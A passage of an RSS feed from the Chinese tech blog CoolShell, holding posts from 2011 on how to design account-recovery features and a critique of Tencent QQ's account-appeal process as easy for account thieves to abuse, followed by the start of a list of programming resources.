Google）看到了你们使用的那个固定IP在各个大学论坛上的腾讯的招聘广告），我感谢你们主要有两点：</p>\n<ol>\n<li>你们有半数以上的人留下的是gmail而不是QQMail/Foxmail的电子邮件，这点让我感到很欣慰。</li>\n<li>你们在加班到晚上11点的时候都能在本站回复，的确如你们的Andy Pan所说，你们的核心竞争力很强，包括水军方面。</li>\n</ol>\n<p>好了，让我正式谈谈这个设计。找回用户帐号通常就用三个事就可以了：<strong>邮箱</strong>，<strong>安全问答</strong>，<strong>手机</strong>。</p>\n<h4><strong>邮箱</strong>，<strong>安全问答</strong>，<strong>手机</strong></h4>\n<p>大多数的系统都会使用邮箱和安全问答，这足够了，很多系统直接用邮箱做帐号名（Apple ID，Facebook，新浪微博 &#8230;.），这样一来，就算你的系统口令被盗，帐号的是改不掉的，于是你可以用邮箱找回（注：这些系统都会验证你的邮箱是否正确）。但是，如果用邮箱做帐号，会导致你的邮箱暴露了，这样为成为垃圾邮件的受害者，而且如果你还比较2的把邮箱的口令和帐号的口令设置成一样的，那么就相当坑爹了（你可以看看本站的这篇文章——<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">如何设计你的口令</a>）。所以，但凡是用邮箱用为帐号的系统都不会让人看到你的注册邮箱，比如，大家就不知道我新浪微博帐号注册的邮箱，就算是知道也应该是受信的人知道（新浪微博帐号的邮箱地址的默认可见度是“你关注的人”）。</p>\n<p><span id=\"more-5987\"></span></p>\n<p>这里要说一下，Google Mail使用的是电子邮件，安全问答 和 手机。你可以使用其中一种找回口令。gmail最漂亮的用户体验是其会提示你，你绑写的邮箱（哪家公司的邮箱和帐号名的第一个字母）和手机（3个尾号）。MSN和gmail相似，也会提示你绑定的邮箱，也可以使用手机，还可以使用你设置好的受信PC，以及通过客户支持（通过客户支持——收集你注册时用的名字，生日，国家地区，安全问题，使用过的口令，最近发送过的邮箱标题，联系人等，或是你绑定过的信用卡信息，但是不会有身份证）。</p>\n<p>使用手机的一般是安全性比较高的网站，比如：淘宝、Gmail等。这样，使用手机找回口令也不错。因为你注册的安全问答你可能会忘了，你的绑定的邮箱也可能忘了口令，而很多木马可以盗取你的这些电脑上的安全问答或邮箱口令，但是这些木马程序盗不走你的手机（注：在移动互联网时代很可能会盗取你的手机上的信息，但是也盗不走你的手机号——无法像邮箱那样改个口令就盗走了）。你会说，手机还不是会丢失，但是你要明白，你丢失的手机，你是可以停机的，可以通过你的手机密码卡或是身份证恢复你的手机号的。另外，<strong>使用手机的好处还在于，我的系统不需要收信你的真实信息（如：姓名，身份证，住址等），这些真实信息的验证交给移动运营商验证就好了</strong>。<strong>在程序设计的里，我们把这种事叫“解耦”</strong>。Amazon就一种通过电子邮件，然后通过你使用过的信用卡后四位，以及帐单的邮寄的邮政编码，如果你的邮箱变了，没问题，打电话给客服吧，客服会问你的钱行卡号和帐单地址，电子商务的好处就是可以有信用卡或银行卡来恢复号。，因为这<strong>——把用户的真实信息“解耦”到了银行，并“耦合”和银行方面的安全策略</strong>。很明显，银行和移动公司的安全级别更高，而且用户也更信任他们。最好不要自己收集用户的真实信息，要是丢失了，你就麻烦了（在国外你就要被起诉了）</p>\n<p>在这里，你可能会有疑问，如果我的帐号口令丢失了，那么盗取者会进入我的系统改我的邮箱，改我的手机，改我的信用卡等，那不也一样吗？我想说，对于邮箱和手机，其和密码的级别一样，你改密码的时候，你都要输入旧密码，所以，你改邮箱和手机的时候也要使用旧的邮箱和手机。关于你绑定的银行卡或信用卡号，就算是自己也看不见的（只能看见四个尾号），这就就可以防盗了。当然，盗电子商务帐号的人一般会用你一帐号买东西，但是其会遇到另一个麻烦，那就是要面对银行方面的审计工作——1）对于银行卡通过银行的网银，银行的安全系统会帮你审计。2）对于信用卡则要受到信用卡验证和签名的验证，还能让商家会帮你检查信用卡签名是否正确。</p>\n<p>一些人说，QQ的帐号申诉过程的“美妙”在于其他尽可能多的收集你的信息，这样一来，反而是安全的，因为密码容易被盗，而你的那么多的信息则不容易被盗。这样认识只对了一半。<span style=\"color: #cc0000;\"><strong>真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞</strong></span>（当然，我们都知道腾讯的DNA就是什么都要自己搞，连FBI和CIA的事也已经在搞了），什么自己都搞反而不安全了。</p>\n<h4>其它讨论Q&amp;A</h4>\n<p><strong>问题一：通过申诉找回帐号靠不靠谱？</strong></p>\n<p>明显不靠谱，而且还很愚蠢。这反而成了恶意者的温床。他人可以通过申诉让正常人的帐号失效，这是一件多么愚蠢的事啊！（我的QQ帐号前两天不就被这样攻击了吗？）</p>\n<p><strong>问题二：通过联系人恢复帐号靠不靠谱？</strong></p>\n<p>不全然靠谱，因为你的QQ总是会有陌生人加你，你的邮箱联系人也会有一些你不受信的人。那些人可能就是攻击者的小号。所以，如果你要通过联系人的话，就不要像QQ或MSN那样坑爹的做法，让用户自己来选。而是要像Facebook那样的做法——系统随机挑些人来让你认。</p>\n<p><strong>问题三：在注册时设置受信的联系人靠不靠谱？</strong></p>\n<p>看似靠谱，但是个人觉得还是还一点问题。因为受信者通过电子信息无法分辨是本人还是盗号者，还要受信者实际联系一下对方。这就好像我们在手机号存电话号码的时候，写上了爸爸，妈妈这样的字眼，这样当恶意者拿了你的手机后，就可以向你的家人敲诈了，因为其直接就可以叫出对方那头的人和被攻击者的关系。</p>\n<p><strong>问题四：恢复帐号的时候收集用户的真实信息靠不靠谱？</strong></p>\n<p>这要看是什么情况了。如果用户在注册时提供了这些真实信息，就靠谱，如果没有就相当不靠谱。试想：你去银行开户存钱的时候，银行没有让你出示身份证，只让你设了个口令。然后我就可以用我的身份证去重置你的口令。你觉得这个事是不是相当的坑爹？！</p>\n<p><strong>问题五：小白不懂邮件，不懂安全问题，不懂绑定手机啊？</strong></p>\n<p>那就用耐心地客服教导这些小白（可参看银行等机构的做法——强制用户输入8位以上的口令，强制使用U盾才能进行大额转帐），提高他们的能力和对安全的认识，当有一天这套东西形成社会标准的时候，安全才会真的到来。安全的问题本来就是双方的事，只有大家都有安全意识，才能做得好。而不是迁就用户。还是Henry Ford的那名话——“如果我问用户要什么，用户会说他要一匹更快的马”，所以这世上也就不会有汽车了。QQ不应该为降低用户安全意识起推动性作用。</p>\n<p><strong>问题六：我的经历是什么样的？</strong></p>\n<p>我基本不上QQ，我上QQ都是被朋友和同学逼的。因为上周四我想写点关于腾读用户体验的东西，所以我才上QQ想看看，结果发现上不去了，说是帐号被投诉了，让我申诉，我猜想估计和我最早发布的关于腾讯的文章有关系。我1999年来注册的这个QQ号根本没有提交过什么身份证或是地址系统之类的东西，我曾经绑定过手机，大概在5年前绑定过。</p>\n<p>于是在走申诉流程的过程中，腾讯说的绑定的手机没有被验证过，我还记得曾经我使用我的hotmail邮箱代替过我的QQ号，不过这些在被投诉的面前都不能用了。而我感到腾讯无法知道我提交的这些信息是否真实，又因为我以前曾经帮朋友注册过QQ号(我这些朋友就是腾讯员工说的小白用户)，所以，我就用一些看上去比较真实的但实际是假的信息，并用帮人注册的这些QQ号成功申诉回来了。</p>\n<p>有的网友说我不分不清找回密码和申诉的差别，我在这里想说，你分明绑定了手机，但是当你发了短信后却被告诉你的手机没有被验证过。这个就很扯了。</p>\n<p>于是，我才意识到QQ的这个申诉过程相当的不安全。关于一些细节问题，还请我们的我们腾讯的员工@larry同学给大家更多的细节。</p>\n<p><strong>问题七：QQ还有什么样的坑爹的Use Case?</strong></p>\n<p>有两个朋友在回复中说到了两个有意思的比较坑爹的Use Case。</p>\n<p>@gqjjqg  说，他有个朋友被恶意申诉，有段时间和这个恶意申诉者来来回回地申诉这个QQ号，搞了一个多月都没有搞定。最后只得和那个恶意申诉者达成和解才解决了这个事。</p>\n<p>@Jack Yang说，他有个朋友在网上买了一个QQ号，没过几天就被申诉回去了（毕竟那是别人用过的），然后人家再接着卖，怎么申诉都申诉不回来。欲哭无泪。</p>\n<p>可见，在QQ的申诉流程下，什么密保，什么手机绑定，都成了浮云。</p>\n<p>&nbsp;</p>\n<p>（如果你还有什么样的问题，我可以在继续更新并回答你的问题）</p>\n<p>——————————</p>\n<p>希望你现在明白，关于腾讯的帐号申诉过程，看上去相那么回事，实际上漏洞百出。当然，我不能说腾讯是愚蠢的，因为人家搞得那么大的企业，我只能说人家是在下一盘很大的棋……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"腾讯帐号申诉的用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_title\">腾讯帐号申诉的用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" alt=\"抄袭，腾讯 和 产品 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_title\">抄袭，腾讯 和 产品 </a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5987.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>271</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>腾讯帐号申诉的用户体验</title>\n\t\t<link>https://coolshell.cn/articles/5966.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5966.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 25 Nov 2011 00:27:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[QQ]]></category>\n\t\t<category><![CDATA[UX]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<category><![CDATA[腾讯]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5966</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前面写过一篇“腾讯，竞争力 和 用户体验”批评了腾讯，于是在我的微博上和博客上收到了一些反对意见，基本上是说腾讯产品的用户体验做得很好，很方便，等等，还列举了N...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5966.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前面写过一篇“<a href=\"https://coolshell.cn/articles/5901.html\" rel=\"bookmark\" target=\"_blank\">腾讯，竞争力 和 用户体验</a>”批评了腾讯，于是在<a href=\"http://weibo.com/haoel\" target=\"_blank\">我的微博</a>上和<a href=\"https://coolshell.cn\" target=\"_blank\">博客</a>上收到了一些反对意见，基本上是说腾讯产品的用户体验做得很好，很方便，等等，还列举了N多的例子，以及说过什么用户数量为王的言论，让我感到我应该写一篇博客。当然，如果我们只看某个技术层面的东西的话，我同意，QQ的一些产品还是很易用的。但是我们还是要看得更深一些。Effective C++的作者Scott Meyers 在《More Effective C++》中说过——“美丽的是肤浅的表现”。   我借用一下这句话，认为QQ是好的产品的观点是肤浅的认识。</p>\n<p>网上有大量的文章说<a href=\"http://handsome4215.blog.sohu.com/154141629.html\" target=\"_blank\">QQ扫描硬盘</a>啊，说<a href=\"http://hi.baidu.com/kernone/blog/item/db7218d9c1756f3933fa1cb5.html\" target=\"_blank\">QQ收集用户信息</a>啊，你可能忘了这些。前段时间的3Q大战的那个“艰难的决定”，你好像也忘了。还有狗日的腾讯，你也忘了。包括<a href=\"http://www.cnr.cn/newscenter/kjxw/201111/t20111103_508725677.shtml\" target=\"_blank\">QQ可以预防犯罪的新闻</a>，你可能也忘（这本就是一个容易忘事的民族）。你已经被QQ的用户体验迷住你的双眼，觉得QQ无敌于天下，就像<a href=\"http://weibo.com/1577826897/xyZ6vpv2y\" target=\"_blank\">这个微博</a> 以及微博里的回复一样在赞叹QQ注重细节一样，那些人在看到QQ的Mac版上向Steve Jobs感谢的字样激动不已。我感到你被一块红布蒙住了双眼也蒙住了天，我问你看见了什么，你说你看见了幸福 ，这个感觉真让你舒服……（对不起，一不小心我就在唱歌了，So So Sorry）</p>\n<p>回到正题，你会说，我们在谈技术，不谈这些非技术的。好吧，我们来看看技术上的东西。我和大家说一下这两天我的真实经历。</p>\n<p>两天前，我的QQ号被“恶意投诉”，封了号。腾讯让我走申诉流程，于是我看到了下面这些步骤：</p>\n<ol>\n<li>填入我的真实姓名，身份证号，地址等我的真实信息。 （盗号者也可以填）</li>\n<li>填入我的手机号，并要用这个手机号向腾讯发个短信以收取验证码。（盗号者的手机）</li>\n<li>填入我以前曾经使用过的QQ密码 （盗号者盗到的密码）</li>\n<li>填入我是什么时候，在哪里注册的QQ （盗号者可以填忘记了）</li>\n<li>填入最近3年来，我在哪里使用过QQ （盗号者也可以填忘 记了）</li>\n<li>邀请QQ好友来帮助申诉，越多越好，需要填号好友的QQ号和真实姓名。 （盗号者也可以用自己的小号，这些小号可以加你为好友）</li>\n</ol>\n<p><strong>这已经是非同寻常的流程了…… 从这个申请过程中你看到了什么？</strong>你是否看到了这些东西：</p>\n<p><span id=\"more-5966\"></span></p>\n<ul>\n<li>收集你的用户信息，从姓名，地址，身份证到手机号，包括你好友的真实姓名。</li>\n<li>收集并验证我过去使用过的密码，以及我在哪里使用QQ的。</li>\n<li>这个过程无法确保安全性。没有一点技术含量。</li>\n</ul>\n<p>这些意味着什么？你会说，因为我不知道QQ盗号有多严重，所以他们才有这样的措施。那么我不禁要反问一下了——</p>\n<ul>\n<li><strong>这个世上还有什么产品是可以让别人通过申诉来让你的帐号失效的？</strong></li>\n<li><strong>又有哪个产品是通过收集真实的用户信息和朋友的信息来找回密码的？</strong></li>\n<li><strong>这个世上还有什么产品是在注册的时候不要真实信息，而在找回密码的时候要真实信息？</strong></li>\n</ul>\n<p>要收信就应该在注册的时候收集，你见过哪家银行在开户的时候不要你身份证，而你取钱，挂失的时候需要身份证的？只要腾讯愿意，弹个窗，于是就可以一点一点地让所有的人都走申诉流程以收集真实信息。我看这个过程并不是想看上去的那么简单啊。这就是用户体验？你可能还依然坚持你对这一做法的理解，那么，我真心希望你看看别的系统和软件是怎么做的。（老实说，一个手机号，另一个邮箱就可以搞定了）</p>\n<p>我的朋友在微博上回复到——</p>\n<blockquote><p>//<a href=\"http://weibo.com/zhendi419\" target=\"_blank\">@真谛419</a>：。。。qq是一个伟大的企业，一步步微创新走到了创新横扫CIA，FBI的浪潮之巅 //<a href=\"http://weibo.com/n/chengxi_\">@chengxi_</a>: CIA弱到爆，QQ knows it all. 这个获取所有实名社交网络的创新不亚于 <a href=\"http://t.cn/h5kPIK\" target=\"_blank\">reCaptcha </a>，用QQ的和裸奔的区别在于“裸奔”是自愿的。</p></blockquote>\n<p>你也许会说，这是腾讯因为不可抗力不得已这样做的，我们都应该理解腾讯。我想了一想，我觉得你说得有道理，你无非就是想让我说——腾讯不SB，SB的是用户。好吧，我承认你有一定的道理。</p>\n<p>既然这样，那么我就不得不加粗朋友的这句话了——<strong>用QQ的和裸奔的区别在于“裸奔”是自愿的！！</strong> 而且，我仿佛、似乎、好像，隐约还听到有人在欢快地呻吟着：“在QQ上裸奔的用户体验太~~好~~啦~~，让我高潮不断啊~~~啊~~~啊~~~啊~~~~~~~~”。行了行了，你可以裸奔，但是没有必要那么爽吧。</p>\n<p>（对不起，我本不应该骂人的，更不应该还骂的那么低俗，重要的是，这本来应该在新浪微博上骂的，因为那里的骂人用户体验最好的地方……）</p>\n<p>结尾了，你会会说我是一个喷子，呵呵。我想说，<strong>腾讯是一个天使和魔鬼的混合体，东西还是要一分为二的看</strong>，用么还是可以适当用用的，但是我们的头脑还是要清楚一些明白那是怎么一回事。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" alt=\"抄袭，腾讯 和 产品 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_title\">抄袭，腾讯 和 产品 </a></li><li ><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"腾讯，竞争力 和 用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_title\">腾讯，竞争力 和 用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5966.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>166</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些文章资源和趣闻</title>\n\t\t<link>https://coolshell.cn/articles/5537.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5537.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Nov 2011 04:39:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5537</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是我这段时间来收集的一些有意思的东西。本站这样的文章还很多，如这个，这个，这个。 Javascript Garden，这是学习Javascript最好的网站...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5537.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是我这段时间来收集的一些有意思的东西。本站这样的文章还很多，如<a title=\"一些文章和各种资源\" href=\"https://coolshell.cn/articles/5224.html\" target=\"_blank\">这个</a>，<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这个</a>，<a href=\"https://coolshell.cn/articles/3903.html\" target=\"_blank\">这个</a>。</p>\n<p>Javascript Garden，这是学习Javascript最好的网站了。<a href=\"http://bonsaiden.github.com/JavaScript-Garden\">http://bonsaiden.github.com/JavaScript-Garden</a>，这个文档由两具StackOverflow的人写成, <a href=\"http://stackoverflow.com/users/170224/ivo-wetzel\">Ivo Wetzel</a>(Writing) 和 <a href=\"http://stackoverflow.com/users/313758/yi-jiang\">Zhang Yi Jiang</a> (Design)，表示敬意。</p>\n<p>想看看Web开发有哪些技术吗？你得看看这个网站：<a href=\"http://stackparts.com/\">http://stackparts.com/</a>，他对目前几乎所有Web上用得到的技术都分了个类。下面是个抓图。</p>\n<p><a href=\"http://stackparts.com\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5950\" title=\"各种Web开发用到的技术\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_.png\" alt=\"\" width=\"513\" height=\"414\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_.png 513w, https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-300x242.png 300w, https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-335x270.png 335w\" sizes=\"(max-width: 513px) 100vw, 513px\" /></a></p>\n<p>Mozilla的安全编程规范 <a href=\"https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines\">https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines</a> <a href=\"http://research.microsoft.com/apps/dp/sq.aspx?a=47204&amp;sq=dl#a=!77148!80820!132314!81593!77135!103269!77072!138731!77112!131133!149403!77128!78088!143130!77023!139171!138997!141118&amp;p=1&amp;ps=36\">Downloads associated to Software development</a></p>\n<p>PHP,Perl, Ruby, Python语法比较<a href=\"http://hyperpolyglot.org/scripting?utm_source\">http://hyperpolyglot.org/scripting?utm_source</a></p>\n<p><span id=\"more-5537\"></span></p>\n<p>图形游戏编程的电子书 <a href=\"http://ploobs.com.br/?p=766\">http://ploobs.com.br/?p=766</a></p>\n<p>图形编程黑皮书：<a href=\"http://drdobbs.com/high-performance-computing/184404919\" target=\"_blank\">http://drdobbs.com/high-performance-computing/184404919</a></p>\n<p><a href=\"http://www.dpfiles.com/dpfileswiki/index.php?title=Black_Art_of_3D_Game_Programming:_Writing_Your_Own_High-Speed_3D_Polygon_Video_Games_in_C\" target=\"_blank\">Black Art of 3D Game Programming: Writing Your Own High-Speed 3D Polygon Video Games in C </a></p>\n<p>想学设计模式吗？这是一个非常好的网站：<a href=\"http://www.vincehuston.org/dp/\">http://www.vincehuston.org/dp/</a> 以元素周期表的形式把23个经典模式列出来，让我想到了这几天在看的美剧Breaking Bad，呵呵。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone aligncenter\" title=\"设计模式元素周期表\" src=\"http://www.vincehuston.org/images/GoF_full_medium.png\" alt=\"\" width=\"450\" height=\"331\" /></p>\n<p>Learn C the Hard Way <a href=\"http://c.learncodethehardway.org/book/\" target=\"_blank\">http://c.learncodethehardway.org/book/</a></p>\n<p>Learn Ruby the Hard Way <a href=\"http://ruby.learncodethehardway.org/book/\">http://ruby.learncodethehardway.org/book/</a></p>\n<p>Learn Python the Hard Way <a href=\"http://learnpythonthehardway.org/\">http://learnpythonthehardway.org/</a></p>\n<p>Learn SQL the Hard Way <a href=\"http://sql.learncodethehardway.org/book/\">http://sql.learncodethehardway.org/book/</a></p>\n<p>Linux基础学习：</p>\n<ul>\n<li><a title=\"Linux Fundamentals, Part 2\" href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_1\" target=\"_blank\">Linux Fundamentals, Part 1</a></li>\n<li><a title=\"Linux Fundamentals, Part 2\" href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_2\">Linux Fundamentals, Part 2</a></li>\n<li><a title=\"Linux Fundamentals, Part 3\" href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_3\">Linux Fundamentals, Part 3</a></li>\n<li><a title=\"Linux Fundamentals, Part 4\" href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_4\">Linux Fundamentals, Part 4</a></li>\n</ul>\n<div>相了解GIF吗？这里有篇不错的文章：<a href=\"http://matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp\" target=\"_blank\">http://matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp</a></div>\n<div>如何在PC上通过VirtualBox装一个Android操作系统。 <a href=\"http://www.javacodegeeks.com/2010/06/install-android-os-on-pc-with.html\" target=\"_blank\">http://www.javacodegeeks.com/2010/06/install-android-os-on-pc-with.html</a> 不过这篇文章有点老了，是去年的，最新的方式是使用<a href=\"http://www.android-x86.org/\" target=\"_blank\">Android-x86</a>这个项目。</div>\n<p>一些你可能不知道的git的tips：<a href=\"http://mislav.uniqpath.com/2010/07/git-tips/\">http://mislav.uniqpath.com/2010/07/git-tips/</a></p>\n<p>一个给C/C++程序员用的Vim Plugin，我试用了一下，不是很好用。不过也许你会喜欢：<a href=\"http://www.fortystones.com/vim-plugins-c-cplusplus-developer/\">http://www.fortystones.com/vim-plugins-c-cplusplus-developer/</a></p>\n<p>数独游戏的程序算法，140个字节的一段javascript程序： <a href=\"https://gist.github.com/1230481/95f6facb74f51d089bea87eba0f470cf3bbed83a\" target=\"_blank\">https://gist.github.com/1230481/95f6facb74f51d089bea87eba0f470cf3bbed83a</a></p>\n<p>一个教你用HTML5做一个画图版的教程：<a 